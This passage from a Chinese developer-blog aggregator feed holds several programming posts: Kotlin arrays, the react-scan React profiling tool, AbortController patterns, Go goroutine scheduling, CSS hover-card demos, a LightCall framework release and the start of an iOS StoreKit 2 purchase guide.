弹簧的行为由两个参数控制:stiffness(刚性)和 damping(阻尼)。通过这些参数,你可以控制动画的流畅度和弹性。

以下是一些常用的预定义弹簧:

名称刚性 (Stiffness)阻尼 (Damping)
noWobble17026
gentle12014
wobbly18012
stiff21020

示例:

by OrzR3 at January 20, 2025 07:19 AM

juejin android

Kotlin 2.1.0 入门教程(六)

数组

数组用于保存固定数量的相同类型或其子类型的值。Kotlin 中最常见的数组类型是对象类型数组,由 Array 类表示。

如果在对象类型数组中使用基本类型,这会影响性能,因为您的基本类型会被装箱为对象。为了避免装箱开销,请改用基本类型数组。

何时使用数组

当有需要满足的特殊低级需求时,请在 Kotlin 中使用数组。例如,如果有超出常规应用程序需求的性能要求,或者需要构建自定义数据结构。如果没有这些限制,请改用集合。

与数组相比,集合具有以下优势:

  • 集合可以是只读的,这为您提供了更多控制权,并允许您编写具有明确意图的健壮代码。

  • 可以轻松地从集合中添加或删除元素。相比之下,数组的大小是固定的。从数组中添加或删除元素的唯一方法是每次都创建一个新数组,这非常低效。

  • 可以使用相等操作符(==)检查集合是否结构相等。不能将此操作符用于数组。相反,必须使用特殊函数。

var riversArray = arrayOf("Nile", "Amazon", "Yangtze")

// 使用 += 赋值操作会创建一个新的 riversArray,复制原始元素并添加 Mississippi。
riversArray += "Mississippi"

println(riversArray.joinToString()) // Nile, Amazon, Yangtze, Mississippi

创建数组

要在 Kotlin 中创建数组,可以使用:

  • 函数,例如 arrayOf()arrayOfNulls()emptyArray()

  • Array 构造函数。

// 创建一个值为 [1, 2, 3] 的数组。
val simpleArray = arrayOf(1, 2, 3)
println(simpleArray.joinToString()) // 1, 2, 3
// 创建一个值为 [null, null, null] 的数组。
val nullArray: Array<Int?> = arrayOfNulls(3)
println(nullArray.joinToString()) // null, null, null
// 创建一个空数组。
var exampleArray = emptyArray<String>()

由于类型推断,可以在赋值的左侧或右侧指定空数组的类型。

var exampleArray = emptyArray<String>()

var exampleArray: Array<String> = emptyArray()

Array 构造函数接受数组大小和一个函数,该函数根据索引返回数组元素的值。

// 创建一个初始化为零 [0, 0, 0] 的 Array<Int>。
val initArray = Array<Int>(3) { 0 }
println(initArray.joinToString()) // 0, 0, 0

// 创建一个值为 ["0", "1", "4", "9", "16"] 的 Array<String>。
val asc = Array(5) { i -> (i * i).toString() }
asc.forEach { print(it) } // 014916

与大多数编程语言一样,Kotlin 中的索引从 0 开始。

嵌套数组

数组可以相互嵌套以创建多维数组。

// 创建一个二维数组。
val twoDArray = Array(2) { Array<Int>(2) { 0 } }
println(twoDArray.contentDeepToString()) // [ [0, 0], [0, 0] ]

// 创建一个三维数组。
val threeDArray = Array(3) { Array(3) { Array<Int>(3) { 0 } } }
println(threeDArray.contentDeepToString())
/*
[
    [ [0, 0, 0], [0, 0, 0], [0, 0, 0] ],
    [ [0, 0, 0], [0, 0, 0], [0, 0, 0] ],
    [ [0, 0, 0], [0, 0, 0], [0, 0, 0] ]
]
*/

嵌套数组不必是相同的类型或相同的大小。

访问和修改元素

数组元素始终是可变的。要访问和修改数组中的元素,请使用索引访问操作符 []

val simpleArray = arrayOf(1, 2, 3)
val twoDArray = Array(2) { Array<Int>(2) { 0 } }

// 访问元素并修改它。
simpleArray[0] = 10
twoDArray[0][0] = 2

// 打印修改后的元素。
println(simpleArray[0].toString()) // 10
println(twoDArray[0][0].toString()) // 2

Kotlin 中的数组是不变的(invariant)。这意味着 Kotlin 不允许您将 Array<String> 分配给 Array<Any> 以防止可能的运行时失败。相反,您可以使用 Array<out Any>

使用数组

Kotlin 中,您可以通过使用数组将可变数量的参数传递给函数或对数组本身执行操作。例如,比较数组、转换其内容或将其转换为集合。

将可变数量的参数传递给函数

可以通过 vararg 参数将可变数量的参数传递给函数。这在事先不知道参数数量时非常有用,例如格式化消息或创建 SQL 查询时。

要将包含可变数量参数的数组传递给函数,请使用展开操作符 *。展开操作符将数组的每个元素作为单独的参数传递给所选函数。

fun main() {
    val lettersArray = arrayOf("c", "d")
    printAllStrings("a", "b", *lettersArray) // abcd
}

fun printAllStrings(vararg strings: String) {
    for (string in strings) {
        print(string)
    }
}

比较数组

要比较两个数组是否具有相同顺序的相同元素,请使用 contentEquals()contentDeepEquals() 函数。

val simpleArray = arrayOf(1, 2, 3)
val anotherArray = arrayOf(1, 2, 3)

// 比较数组内容。
println(simpleArray.contentEquals(anotherArray)) // true

// 使用中缀表示法,在更改元素后比较数组内容。
simpleArray[0] = 10
println(simpleArray contentEquals anotherArray) // false

不要使用相等(==)和不等(!=)操作符来比较数组的内容。这些操作符检查分配的变量是否指向同一个对象。

转换数组

Kotlin 有许多有用的函数来转换数组。先在这介绍一些。

要返回数组中所有元素的总和,请使用 sum() 函数:

val sumArray = arrayOf(1, 2, 3)

// 对数组元素求和。
println(sumArray.sum()) // 6

sum() 函数只能用于数值数据类型的数组,例如 Int

要随机打乱数组中的元素,请使用 shuffle() 函数:

val simpleArray = arrayOf(1, 2, 3)

// 打乱元素 [3, 2, 1]
simpleArray.shuffle()
println(simpleArray.joinToString())

// 再次打乱元素 [2, 3, 1]
simpleArray.shuffle()
println(simpleArray.joinToString())

将数组转换为集合

如果您使用不同的 API,其中一些使用数组,而另一些使用集合,那么您可以将数组转换为集合,反之亦然。

要将数组转换为 ListSet,请使用 toList()toSet() 函数。

val simpleArray = arrayOf("a", "b", "c", "c")

// 转换为 Set。
println(simpleArray.toSet()) // [a, b, c]

// 转换为 List。
println(simpleArray.toList()) // [a, b, c, c]

要将数组转换为 Map,请使用 toMap() 函数。

只有 Pair<K,V> 的数组才能转换为 Map

Pair 实例的第一个值成为键,第二个值成为值。

此示例使用中缀表示法调用 to 函数来创建 Pair 元组。

val pairArray = arrayOf("apple" to 120, "banana" to 150, "cherry" to 90, "apple" to 140)

// 转换为 Map。
// 键是水果,值是它们的卡路里。
// 注意键必须是唯一的,因此 apple 的最新值会覆盖第一个值。
println(pairArray.toMap()) // {apple=140, banana=150, cherry=90}

基本类型数组

如果您将 Array 类与基本值一起使用,这些值会被装箱为对象。

作为替代方案,您可以使用基本类型数组,这些数组允许您在不产生装箱开销的情况下存储基本类型。

基本类型数组Java 中的等效类型
BooleanArrayboolean[]
CharArraychar[]
ByteArraybyte[]
ShortArrayshort[]
IntArrayint[]
LongArraylong[]
DoubleArraydouble[]
FloatArrayfloat[]

这些类与 Array 类没有继承关系,但它们具有相同的函数和属性集。

此示例创建 IntArray 类的实例:

fun main() {
    val intArray1 = IntArray(5)
    val intArray2 = intArrayOf(1, 2, 3)
}

要将基本类型数组转换为对象类型数组,请使用 toTypedArray() 函数。

要将对象类型数组转换为基本类型数组,请使用 toBooleanArray()toByteArray()toCharArray() 等函数。

by xvch at January 20, 2025 07:13 AM

juejin frontend

react-scan:集调试与性能优化于一身,助力 React 项目完美蜕变

一款能够自动检测和突出显示 React 应用中导致性能问题的组件的工具——React Scan。

404529612-0b5b12a4-2c5c-42ee-9716-d49210d88fe3.gif

背景

在 React 开发过程中,性能问题是开发者经常需要面对的挑战。虽然已经有一些工具可用于性能调试,但这些工具在实际使用中存在各种局限性,无法很好地满足开发者的需求。

  1. <Profiler /> 的问题
    • 需要大量手动更改:使用 <Profiler /> 时,开发者需要对代码进行大量的手动修改,这增加了开发的复杂性和工作量。例如,需要在代码中合适的位置插入 <Profiler /> 组件,并且要处理其相关的回调函数等。
<Profiler id="App" onRender={onRender}>
  <App />
</Profiler>;

function onRender(
  id,
  phase,
  actualDuration,
  baseDuration,
  startTime,
  commitTime
) {
  // 对渲染时间进行汇总或记录...
}
  1. Why Did You Render? 的问题
    • 缺乏简单视觉线索Why Did You Render? 这个工具在帮助开发者理解组件为何重新渲染方面,缺少简单直观的视觉提示。开发者可能需要花费更多的时间去分析日志或调试信息,才能找出性能问题的根源。
import React from 'react';

if (process.env.NODE_ENV === 'development') {
  const whyDidYouRender = require('@welldone-software/why-did-you-render');
  whyDidYouRender(React, {
    trackAllPureComponents: true,
  });
}

//...
const BigListPureComponent = props => (
  <div>
    //some heavy component you want to ensure doesn't happen if its not necessary
  </div>
)
BigListPureComponent.whyDidYouRender = true

image.png

  1. React Devtools 的问题
  • 缺乏简单、便携和编程式 APIReact Devtools 没有提供一个简单、可移植且可编程的 API,这使得开发者在进行自动化性能测试或集成到特定工作流程中时遇到困难。
  • 渲染批次处理导致延迟React Devtools 会对渲染进行批次处理,当组件渲染速度过快时,它会出现延迟,可能每秒只显示一次渲染结果,这不利于开发者实时观察组件的渲染情况。
  • 滚动或调整大小时框位置不更新:在使用 React Devtools 的高亮功能时,当用户进行滚动或调整窗口大小等操作时,高亮框的位置不会相应更新,影响了开发者对组件位置和布局的判断。
  • 缺少渲染计数React Devtools 没有提供组件渲染次数的统计信息,开发者难以直观地了解哪些组件渲染频繁,从而无法快速定位性能瓶颈。
  • 难以区分不良/缓慢渲染:开发者无法直接从 React Devtools 中得知哪些渲染是不良或缓慢的,需要进一步检查才能确定,这增加了调试的时间和难度。

react-scan 正是为了解决这些问题而诞生,它具有无需代码更改、精准高亮问题组件、多种使用方式等特点,能够更方便地帮助开发者检测和优化 React 应用的性能。

核心构成

  1. 监控模块
    • 包含一系列用于监控 React 组件性能的函数和工具。例如在 react-scan/packages/scan/src/core/monitor/performance.ts 文件中,有多个函数用于处理性能相关的逻辑,像 initPerformanceMonitoring 函数用于初始化性能监控,setupPerformanceListener 函数用于设置性能监听器等。
  2. 过滤模块
    • 提供对组件路径进行过滤的功能,通过定义一些过滤规则来决定哪些组件应该被包含在性能分析路径中。如 PathFilters 接口定义了多种过滤选项(skipProvidersskipHocs 等),shouldIncludeInPath 函数根据这些过滤选项和预定义的正则表达式模式来判断组件名是否应该被包含在路径中。
  3. 工具函数模块
    • 包含一些辅助函数,如 getDisplayName 用于获取组件的显示名称,getCleanComponentName 用于清理组件名称,isMinified 用于判断组件名称是否被压缩等。这些工具函数在性能检测过程中被广泛使用,帮助处理组件相关的信息。

检测能力实现原理

  • 创建监测实例

    • 使用 createInstrumentation 创建一个监测实例 instrumentation,这个实例会监听 React 组件的各种生命周期事件,如 onActiveonCommitStartonErroronRenderonCommitFinish 等。
  • 初始化 UI 相关内容

    • onActive 回调中,会检查是否已经存在 react-scan-root 元素,如果不存在则进行后续操作。
    • 创建音频上下文,用于在需要时播放声音提示。
    • 初始化根容器和 ReactScanOverlay,并启动刷新轮廓的定时器 startFlushOutlineInterval
    • 可以创建工具栏 createToolbar 等 UI 元素。
  • 监测渲染事件

    • onRender 回调中,会对组件的渲染进行监测。首先会根据一些条件(如是否暂停、tab 是否激活等)判断是否需要进行后续处理。
    • 如果需要处理,会更新纤维渲染数据 updateFiberRenderData,并根据选项决定是否记录日志 log
    • 对于复合纤维(isCompositeFiber),会根据条件报告渲染情况 reportRender
    • 还会更新计划中的轮廓 updateScheduledOutlines,并根据选项决定是否播放声音提示 playGeigerClickSound
export const startMonitoring = () => {
  flushInterval = setInterval(() => {
    try {
      void flush();
    } catch {
    }
  }, 2000);

  globalThis.__REACT_SCAN__ = {
    ReactScanInternals,
  };

  // 创建一个监测工具实例,传入相关的配置
  const instrumentation = createInstrumentation('monitoring', {
    // 提交开始时的回调函数
    onCommitStart() {
      ReactScanInternals.options.value.onCommitStart?.();
    },
    // 验证节点的回调函数,这里总是返回 true
    isValidFiber() {
      return true;
    },
    // 渲染时的回调函数
    onRender(fiber, renders) {
      updateFiberRenderData(fiber, renders);

      if (isCompositeFiber(fiber)) {
        aggregateComponentRenderToInteraction(fiber, renders);
      }
      ReactScanInternals.options.value.onRender?.(fiber, renders);
    },
    onCommitFinish() {
      ReactScanInternals.options.value.onCommitFinish?.();
    },
    trackChanges: false,
    forceAlwaysTrackRenders: true,
  });

  ReactScanInternals.instrumentation = instrumentation;
};

安装

方式一,直接引用 CDN:

<!-- import this BEFORE any scripts -->
<script src="https://unpkg.com/react-scan/dist/auto.global.js"></script>

方式二,npm 安装:

npm install react-scan
import { scan } from "react-scan"; // import this BEFORE react
import React from "react";

if (typeof window !== "undefined") {
  scan({
    enabled: true,
    log: true,
  });
}

image.png

RN 使用

两者实现不一样。

npm install @shopify/react-native-skia@^1.5.10 react-native-reanimated react-scan@native
import { ReactScan } from "react-scan/native";

// For Expo, in _layout.tsx:
export default function Layout() {
  return (
    <ReactScan
      options={{
        enabled: true,
        log: true,
        animationWhenFlashing: false,
      }}
    >
      <Stack>{/* Your app content */}</Stack>
    </ReactScan>
  );
}

// For vanilla React Native, wrap your root component similarly

404529774-09891b79-72b9-4cd5-b1c5-675bdff06a9c.gif


微信搜索“好朋友乐平”关注公众号。

github原文地址

by lecepin at January 20, 2025 07:02 AM

Abort Controller 被严重低估了, 任何中止逻辑都应该使用它

前言

今天我们来聊聊 Abort Controller。 你可能在取消网络请求时使用过它,但其实它的功能远不止于此。 这个被严重低估的 API 有很多其他的巧妙用法。

什么是 AbortController

AbortController 是 JavaScript 中的一个全局类,可以用来中止任何事情。

使用方法如下:

const controller = new AbortController();
controller.signal
controller.abort()

可以看到,在创建完 AbortController 实例后,有两个重要的部分:

  • signal 属性: 一个 AbortSignal 的实例,可以提供给各种 API ( 比如 fetch ) 来响应中止事件
  • abort() 方法:触发 signal 上的中止事件

常见使用场景

事件监听管理

传统的事件监听器移除方式:

window.addEventListener('resize', handleResize)
window.addEventListener('storage', handleStorage)
// 清理时需要记住所有的事件和处理函数
window.removeEventListener('resize', handleResize)
window.removeEventListener('storage', handleStorage)

我们为了能将函数更好的传递给 removeEventListener ,一般需要抽象成一个函数。 如果使用的是 TypeScript ,还需要定义一下函数里面的类型。但是使用 AbortController ,我们可以这样做:

const controller = new AbortController()
const signal = controller.signal

window.addEventListener('resize',
  () => {
    // 处理 resize 事件
  },
  { signal }
)

window.addEventListener('storage',
  () => {
    // 处理 storage 事件
  },
  { signal }
)

// 清理时只需要调用 abort 方法
controller.abort()

在这个示例中,即使存在多个事件监听器,在移除的时候,我们也只需要一个 AbortController 实例就能统一清理。 更重要的是,这种方式让我们不再需要为每个事件处理函数单独命名和维护,使代码更加简洁优雅。

取消网络请求

这是我们最常见的使用场景,使用 fetch函数,在取消网络请求时,我们通常会使用 AbortController 来实现。

function uploadFile(file: File) {
  const controller = new AbortController()

  const response = fetch('/upload', {
    method: 'POST',
    body: file,
    signal: controller.signal,
  })

  return { response, abort: controller.abort }
}

在上面这个例子中,用户上传文件的过程中,如果想要取消上传,只需要调用 abort 方法即可。

此外,AbortSignal 类还附带了一些静态方法来简化请求处理。

AbortSignal.timeout

在使用 fetch 时,如果想要设置超时后取消请求,甚至都无需创建 AbortController 实例,直接使用 AbortSignal.timeout 即可。

fetch(url, {
  signal: AbortSignal.timeout(3000),
})

AbortSignal.any

Promise.race 类似,AbortSignal.any 可以监听多个信号,只要其中一个信号触发,就会触发 AbortSignal.any 的回调。

const publicController = new AbortController()
const internalController = new AbortController()

channel.addEventListener('message', handleMessage, {
  signal: AbortSignal.any([publicController.signal, internalController.signal]),
})

在上面这个示例中,我们有两个 AbortController 实例,分别用于处理公共事件和内部事件。publicController 可以直接暴露给 外部使用,我们也有自己的 internalController,用于处理内部逻辑。只要任何一个 AbortController 实例触发中止事件, message 事件监听器就会被删除。

错误处理

controller.abort() 方法有一个可选参数,可以传递一个错误信息,这个错误信息会作为 AbortSignal.reason 属性返回。

const controller = new AbortController()

controller.signal.addEventListener('abort', () => {
  console.log(controller.signal.reason) // "user cancellation"
})

// 提供一个错误信息
controller.abort('user cancellation')
const controller = new AbortController()
controller.signal.reason

Node.js 中的 http 模块发出的请求也支持 signal 属性 !

stream

Next.js 中,当我们使用服务端渲染页面,如果等整体页面渲染完成再进行传输,可能会导致页面长时间白屏。

所以,Next.js 会使用 stream 流式传输,把页面分解成更小的块,完成后逐步从服务器流式传输到客户端

Learn Next.js Streaming 2.avif

通过流式传输,我们可以避免缓慢的数据请求阻塞整个页面的渲染。这使得用户在所有数据加载完成前,就能看到并交互页面的部分内容,大大提升了用户体验。

stream-example.avif

所以,当流式传输传输还未完成,如果用户取消了请求,那么我们就可以使用 AbortController 来取消这个流失传输的请求。

const stream = new WritableStream({
  write(chunk, controller) {
    controller.signal.addEventListener('abort', () => {
      // 处理流式传输中止事件
    })
  },
})

const writer = stream.getWriter()
await writer.abort()

任何事务都可以终止

AbortController API 最强大的地方在于你可以为任何操作添加中止功能。如果有一些第三方库不支持中止或者取消 功能,我们可以使用 AbortController 来实现。

比如,我们在使用 Drizzle ORM 时,如果想要取消多个事务,我们可以这样做:

import { TransactionRollbackError } from 'drizzle-orm'

function makeCancelableTransaction(db) {
  return (callback, options = {}) => {
    return db.transaction((tx) => {
      return new Promise((resolve, reject) => {
        // 如果事务被中止,则回滚事务
        options.signal?.addEventListener('abort', async () => {
          reject(new TransactionRollbackError())
        })

        return Promise.resolve(callback.call(this, tx)).then(resolve, reject)
      })
    })
  }
}

上面的例子中,我们在 signal 上添加了 abort 事件监听器,当调用 controller.abort() 时,就会触发 触发我们的事件监听器回调,使用 TransactionRollbackError 来回滚整个事务。

使用方法如下:

const db = drizzle(options)

const controller = new AbortController()
const transaction = makeCancelableTransaction(db)

await transaction(
  async (tx) => {
    await tx
      .update(accounts)
      .set({ balance: sql`${accounts.balance} - 100.00` })
      .where(eq(users.name, 'Dan'))
    await tx
      .update(accounts)
      .set({ balance: sql`${accounts.balance} + 100.00` })
      .where(eq(users.name, 'Andrew'))
  },
  { signal: controller.signal }
)

总结

AbortController 是一个非常强大的 API,可以用来中止任何操作。如果只用来取消网络请求的话,那它就太浪费了。 当你想要删除事件监听器,取消流式传输,取消事务、或者进行任何中止逻辑时都可以使用 AbortController 来实现。

参考资料:

by snow分享 at January 20, 2025 06:59 AM

juejin backend

8张图认识协程

前言

讲协程之前,先看一下没有协程的时候我们是怎么运用多线程的

image.png

进程/线程的数量越多,切换的成本就越大,也就越浪费

CPU在100%时,60%是在执行程序,40%在切换

什么是协程

  • 为什么协程可以大量创建?

    进程占用内存 ---> 虚拟内存4GB(32bit OS)

    线程占用内存 ---> 约4MB

    协程占用内存 ---> 几KB

  • 一张图就能理解是协程

image.png

  • 再用一张图理解协程调度器和协程及线程之间的关系

    线程是由CPU调度器调度的,协程同样也有协程调度器进行调度

    所以为什么说协程比线程效率高?因为协程的切换不涉及用户态和内核台的切换,在用户态即可完成切换,切换都干了什么,用户栈内核栈元素拷贝

image.png

早期GoLang调度器设计

需要通过加锁解锁来控制协程任务的执行

image.png

当这个M1要执行G的时候,这个G任务同时还要执行一个G0,但是因为M1在处理G,导致M1无法处理G0,要将G0交给其他M来处理,简单来说就是无法让同一个线程执行一个协程所衍生出的另一个协程

image.png

协程调度器设计

processor处理器相当于操作系统的调度器

image.png

Work Stealing机制

此时M2线程对应的P的本地队列中没有协程,会从其他队列中把在排队中的协程拿过来执行

image.png

hand off机制

G1协程执行的时候阻塞了,导致G2没办法执行,此时会重新创建 / 唤醒一个Thread线程,将M3和P进行绑定,让M1线程和G1绑定,待G1任务完成后销毁或者等待唤醒

image.png

by radient at January 20, 2025 06:55 AM

juejin frontend

HTML&CSS:鼠标悬停!酷炫动态背景特效

这段代码是一个 HTML 页面,它包含了 CSS 样式,用于创建一个具有动态背景效果的卡片。卡片上显示了一些文本和一个输入框,用于用户输入手机号码,还有一个按钮用于重置密码。当鼠标悬停在卡片上时,背景会旋转并放大。

演示效果

HTML&CSS

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>公众号关注:前端Hardy</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background: #212121;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
        }

        .card {
            width: 230px;
            height: 230px;
            position: relative;
            background-color: rgb(255, 255, 255);
            border-bottom: 3px solid #4c6bff;
            overflow: hidden;
            -webkit-box-shadow: 0px 12px 65px -39px rgba(0, 0, 0, 1);
            -moz-box-shadow: 0px 12px 65px -39px rgba(0, 0, 0, 1);
            box-shadow: 0px 12px 65px -39px rgba(0, 0, 0, 1);
            border-radius: 5px;
        }

        .BG {
            width: 100%;
            height: 100%;
            position: relative;
            overflow: hidden;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .BG svg {
            position: absolute;
            width: 50%;
            left: -20%;
            top: -20%;
            fill: rgb(244, 244, 244);
            transition: all 0.5s;
        }

        .content {
            width: 100%;
            height: 100%;
            position: absolute;
            top: 0;
            left: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 25px;
            box-sizing: border-box;
            color: rgb(30, 30, 30);
            gap: 3px;
        }

        .heading {
            font-size: 1.4em;
            font-weight: 700;
            color: rgb(30, 30, 30);
            margin: 5px 0;
        }

        .sub-heading {
            margin-top: -7px;
            font-size: 0.9em;
            font-weight: 600;
            margin: 5px 0;
            color: rgb(30, 30, 30);
        }

        .sub-sub-heading {
            margin: 5px 0;
            font-size: 0.7em;
            color: rgb(128, 128, 128);
        }

        .Phone {
            width: 100%;
            height: 25px;
            margin-top: 20px;
            border: none;
            border-bottom: 1px solid #c0c7ec;
            outline: none;
            font-size: 0.7em;
            background-color: transparent;
        }

        .card-btn {
            margin-top: 10px;
            height: 30px;
            line-height: 30px;
            width: 80%;
            border: none;
            background: linear-gradient(60deg, #4c6bff, #8196ff);
            color: white;
            border-radius: 30px;
            cursor: pointer;
        }

        .card:hover .BG svg {
            left: 0%;
            top: 0%;
            transform: rotate(180deg) scale(9);
            fill: #c0c7ec;
        }
    </style>
</head>

<body>
    <div class="card">
        <div class="BG">
            <svg viewBox="0 0 512 512" class="ionicon" xmlns="http://www.w3.org/2000/svg">
                <path
                    d="M256 176a80 80 0 1080 80 80.24 80.24 0 00-80-80zm172.72 80a165.53 165.53 0 01-1.64 22.34l48.69 38.12a11.59 11.59 0 012.63 14.78l-46.06 79.52a11.64 11.64 0 01-14.14 4.93l-57.25-23a176.56 176.56 0 01-38.82 22.67l-8.56 60.78a11.93 11.93 0 01-11.51 9.86h-92.12a12 12 0 01-11.51-9.53l-8.56-60.78A169.3 169.3 0 01151.05 393L93.8 416a11.64 11.64 0 01-14.14-4.92L33.6 331.57a11.59 11.59 0 012.63-14.78l48.69-38.12A174.58 174.58 0 0183.28 256a165.53 165.53 0 011.64-22.34l-48.69-38.12a11.59 11.59 0 01-2.63-14.78l46.06-79.52a11.64 11.64 0 0114.14-4.93l57.25 23a176.56 176.56 0 0138.82-22.67l8.56-60.78A11.93 11.93 0 01209.94 26h92.12a12 12 0 0111.51 9.53l8.56 60.78A169.3 169.3 0 01361 119l57.2-23a11.64 11.64 0 0114.14 4.92l46.06 79.52a11.59 11.59 0 01-2.63 14.78l-48.69 38.12a174.58 174.58 0 011.64 22.66z">
                </path>
            </svg>
        </div>
        <div class="content">
            <p class="heading">可爱的朋友啊!</p>
            <p class="sub-heading">忘记密码啦?</p>
            <p class="sub-sub-heading">输入要恢复的手机号</p>
            <input class="Phone" placeholder="Phone" type="text" />
            <button class="card-btn">重置密码</button>
        </div>
    </div>

</body>

</html>

HTML 结构

  • card: 创建一个类名为card的 div 元素,用于包含整个卡片。
  • BG: 包含背景 SVG 的 div。
  • svg: 创建一个 SVG 图形,用于背景效果。
  • content: 包含卡片的主要内容。
  • heading: 显示卡片的标题。
  • sub-heading: 显示卡片的副标题。
  • sub-sub-heading: 显示卡片的子标题。
  • Phone: 创建一个输入框,用于用户输入手机号码。
  • card-btn: 创建一个按钮,用于重置密码。

CSS 样式

  • body: 设置页面的边距、填充、背景色、显示方式和高度。
  • .card: 设置卡片的样式,包括尺寸、背景色、边框、阴影和边框半径。
  • .BG: 设置背景容器的样式,包括尺寸、位置和对齐方式。
  • .BG svg: 设置 SVG 图形的样式,包括位置、尺寸、填充色和过渡效果。
  • .content: 设置卡片内容的样式,包括尺寸、位置、对齐方式和内边距。
  • .heading: 设置卡片标题的样式,包括字体大小和权重。
  • .sub-heading: 设置卡片副标题的样式,包括字体大小和权重。
  • .sub-sub-heading: 设置卡片子标题的样式,包括字体大小和颜色。
  • .Phone: 设置输入框的样式,包括尺寸、边框、字体大小和背景色。
  • .card-btn: 设置按钮的样式,包括尺寸、背景渐变、颜色和边框半径。
  • .card:hover .BG svg: 设置鼠标悬停在卡片上时 SVG 图形的样式,使其旋转、放大并改变填充色。

by 前端Hardy at January 20, 2025 06:44 AM

oschina news project

LightCall 2025.1.0 正式发布:轻量级声明式服务调用框架

亲爱的开发者们:

我们很高兴地宣布 LightCall(版本 2025.1.0)正式发布。LightCall 是一个全新的轻量级声明式服务调用框架,旨在让服务调用变得像编写接口一样简单直观。通过简洁的注解方式,开发者可以以最小的开发成本实现优雅的服务访问。

核心特性

  1. 完整的 HTTP 方法支持

    • 支持标准 HTTP 方法:GET、POST、PUT、DELETE、PATCH、HEAD、OPTIONS
    • 支持自定义请求处理器,满足特殊场景需求
    • 支持请求体(Body)解析和自定义媒体类型
  2. 灵活的请求配置

    • 支持 @Header 和 @Headers 注解进行请求头配置
    • 支持路径参数和查询参数(@Param)配置
    • 支持自定义媒体类型配置
  3. 强大的扩展机制

    • 支持可配置优先级的拦截器机制
    • 支持自定义错误处理器
    • 支持代理自动资源释放
  4. 模块化设计

    • 核心功能模块化拆分
    • 独立的处理器设计
    • 简化的处理器逻辑实现

文档与支持

部署信息

该版本已发布至 Maven 中央仓库,开发者可以直接在项目中使用。

后续规划

这是 LightCall 的第一个正式版本,我们将持续改进和优化框架功能,欢迎开发者们:

  • 提出建议和反馈
  • 参与项目贡献
  • 报告使用中遇到的问题

鸣谢

感谢所有关注和支持 LightCall 项目的开发者,我们将继续努力,为开发者提供更好的服务调用解决方案。


如需了解更多信息,请访问我们的官方网站或 GitHub 仓库。

2025年1月19日

by 来源: 投稿 at January 20, 2025 06:44 AM

juejin frontend

HTML&CSS:动态背景卡片,放大与移动特效拉满

这段代码创建了一个具有动态背景效果的卡片,通过 CSS 技术实现了背景的移动和放大效果,为页面添加了视觉吸引力和用户交互体验。

演示效果

HTML&CSS

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>公众号关注:前端Hardy</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background: #e8e8e8;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
        }

        .container {
            width: 190px;
            height: 254px;
            background: transparent;
            position: relative;
            box-shadow: 0px 0px 5px rgba(0, 0, 0, 0.438);
            overflow: hidden;
            border-radius: 10px;
        }

        .card {
            cursor: default;
            width: 100%;
            height: 100%;
            position: relative;
            z-index: 2;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 2px;
            color: #212121;
            background-color: rgba(255, 255, 255, 0.074);
            border: 1px solid rgba(255, 255, 255, 0.222);
            -webkit-backdrop-filter: blur(20px);
            backdrop-filter: blur(20px);
            border-radius: 10px;
            transition: all ease .3s;
        }

        .container::after,
        .container::before {
            width: 100px;
            height: 100px;
            content: '';
            position: absolute;
            border-radius: 50%;
            transition: .5s linear;
        }

        .container::after {
            top: -20px;
            left: -20px;
            background-color: #2879f3;
            animation: animFirst 5s linear infinite;
        }

        .container::before {
            background-color: rgb(226, 223, 54);
            top: 70%;
            left: 70%;
            animation: animSecond 5s linear infinite;
            animation-delay: 3s;
        }

        .container:hover {
            box-shadow: 0px 0px 10px rgba(0, 77, 32, 0.632)
        }

        .container:hover::after {
            left: 80px;
            transform: scale(1.2);
        }

        .container:hover::before {
            left: -10px;
            transform: scale(1.2);
        }
    </style>
</head>

<body>
    <div class="container">
        <div class="card">
            鼠标移入
        </div>
    </div>
</body>

</html>

HTML 结构

  • container: 创建一个类名为container的 div 元素,用于包含卡片。
  • card: 创建一个类名为card的 div 元素,用于显示卡片内容。

CSS 样式

  • body: 设置页面的边距、填充、背景色、显示方式和高度。
  • .container: 设置卡片容器的样式,包括尺寸、背景、位置、阴影、溢出隐藏和边框半径。
  • .card: 设置卡片的样式,包括尺寸、位置、对齐方式、字体大小、权重、文本转换、字母间距、颜色、背景色、边框、背景模糊效果和过渡效果。
  • .container::after, .container::before: 设置卡片容器的伪元素,用于创建背景效果。
  • .container::after: 设置第一个伪元素的样式,包括位置、尺寸、背景色和动画效果。
  • .container::before: 设置第二个伪元素的样式,包括位置、尺寸、背景色、动画效果和延迟。
  • .container:hover: 设置鼠标悬停在卡片容器上时的阴影效果。
  • .container:hover::after: 设置鼠标悬停在卡片容器上时第一个伪元素的样式,使其移动和放大。
  • .container:hover::before: 设置鼠标悬停在卡片容器上时第二个伪元素的样式,使其移动和放大。

by 前端Hardy at January 20, 2025 06:43 AM

juejin ios

iOS 内购接入StoreKit2 及低与iOS 15 版本StoreKit 1 兼容方案实现

背景

随着CSDN APP用户 iOS 15以上系统占比覆盖度到98%,我们与支付中台决定接入StoreKit 2,彻底告别掉单,恶意退款等iOS内购遇到的问题。本文不阐述,StoreKit2 的详细说明,如果有兴趣的可以查看官方文档。本文只演示项目接入代码。

实现方案

因为StoreKit2 只支持 Swift语言,下面案例均用Swift来实现,如有OC项目需要混编,可以暴漏了方法给OC调用就行。

获取商品列表

     /// 通过 productIds 请求 Product 列表
    /// - Parameter productIds: product ids
    /// - Returns: Product 列表
    public func requestProducts(productIds: [String]) async -> [Product]? {
        products = try? await Product.products(for: Set.init(productIds))
        return products
    }

拉起应用内购买(唤起支付)

StoreKit 2 支持传入一个appAccountToken 这个值必须是UUID格式,这个UUID可以关联我们的订单和苹果的交易。我们可以将我们的订单编号,补充转换成UUID格式。这样我们就可以保证我们的订单与苹果订单唯一绑定,如果有发生掉单,用户可以拿着交易凭证上面的订单号,通过苹果给的查询交易的接口,先查询到苹果的交易id,然后再找到我们的订单号,完成补单操作。

